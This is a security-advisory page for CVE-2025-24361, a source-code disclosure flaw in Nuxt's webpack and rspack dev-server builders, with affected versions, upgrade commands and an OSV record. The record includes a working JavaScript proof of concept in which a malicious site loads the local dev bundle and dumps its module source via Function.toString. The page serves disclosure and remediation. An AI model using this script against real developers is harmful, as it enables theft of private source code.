CVE-2025-24361: @nuxt/webpack builder Opening A Malicious Website While Vulnerability
MODERATECVE-2025-24361 is a MODERATE (CVSS 5.3) opening a malicious website while vulnerability (CWE-749: Exposed Dangerous Method or Function) affecting @nuxt/webpack builder libraries in the npm ecosystem. The issue involves opening a malicious website while running a nuxt dev server could allow read-only access to code. Remediation is available by upgrading affected packages to version 3.15.3.
CVE-2025-24361 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N).
How to Fix CVE-2025-24361
To remediate this vulnerability, upgrade all affected @nuxt/webpack builder dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @nuxt/webpack-builder@3.15.3npm install @nuxt/rspack-builder@3.15.3Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @nuxt/webpack-builderHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-24361, inspect your project dependencies using npm:
npm ls @nuxt/webpack-builderAnalyze the terminal output to locate any version of @nuxt/webpack builder in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.15.3), your application is affected.
Note: The npm ls @nuxt/webpack-builder command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-749: Exposed Dangerous Method or Function, where the product provides an applications programming interface (api) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted. In @nuxt/webpack builder, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-24361 Affected @nuxt/webpack builder Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@nuxt/webpack-builder
|
npm |
≥ 3.0.0
< 3.15.3
|
3.15.3
|
|
@nuxt/rspack-builder
|
npm |
≥ 3.12.2
< 3.15.3
|
3.15.3
|
References
Frequently Asked Questions
What is CVE-2025-24361?
Which @nuxt/webpack builder versions are affected?
What version fixes CVE-2025-24361?
Is @nuxt/webpack-builder affected?
Is @nuxt/rspack-builder affected?
What is the CVSS score of CVE-2025-24361?
What CWE is associated with CVE-2025-24361?
How can I check npm dependencies for CVE-2025-24361?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4gf7-ff8x-hq99",
"modified" : "2025-01-30T03:05:05Z",
"published" : "2025-01-27T11:31:41Z",
"aliases" : [ "CVE-2025-24361" ],
"summary" : "Opening a malicious website while running a Nuxt dev server could allow read-only access to code",
"details" : "### Summary\nSource code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src=\"http://localhost:3000/_nuxt/app.js\">` in their site and run the script.\nBy using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.\n\n### PoC\n1. Create a nuxt project with webpack / rspack builder.\n1. Run `npm run dev`\n1. Open `http://localhost:3000`\n1. Run the script below in a web site that has a different origin.\n1. You can see the source code output in the document and the devtools console.\n\n```js\nconst script = document.createElement('script')\nscript.src = 'http://localhost:3000/_nuxt/app.js'\nscript.addEventListener('load', () => {\n for (const page in window.webpackChunknuxt_app) {\n const moduleList = window.webpackChunknuxt_app[page][1]\n console.log(moduleList)\n\n for (const key in moduleList) {\n const p = document.createElement('p')\n const title = document.createElement('strong')\n title.textContent = key\n const code = document.createElement('code')\n code.textContent = moduleList[key].toString()\n p.append(title, ':', document.createElement('br'), code)\n document.body.appendChild(p)\n }\n }\n})\ndocument.head.appendChild(script)\n```\n\n\nIt contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field).\n\n### Impact\nUsers using webpack / rspack builder may get the source code stolen by malicious websites.\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@nuxt/webpack-builder"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.0"
}, {
"fixed" : "3.15.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "@nuxt/rspack-builder"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.12.2"
}, {
"fixed" : "3.15.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-24361"
}, {
"type" : "WEB",
"url" : "https://github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nuxt/nuxt"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-749" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-01-27T11:31:41Z",
"nvd_published_at" : "2025-01-25T01:15:24Z"
}
}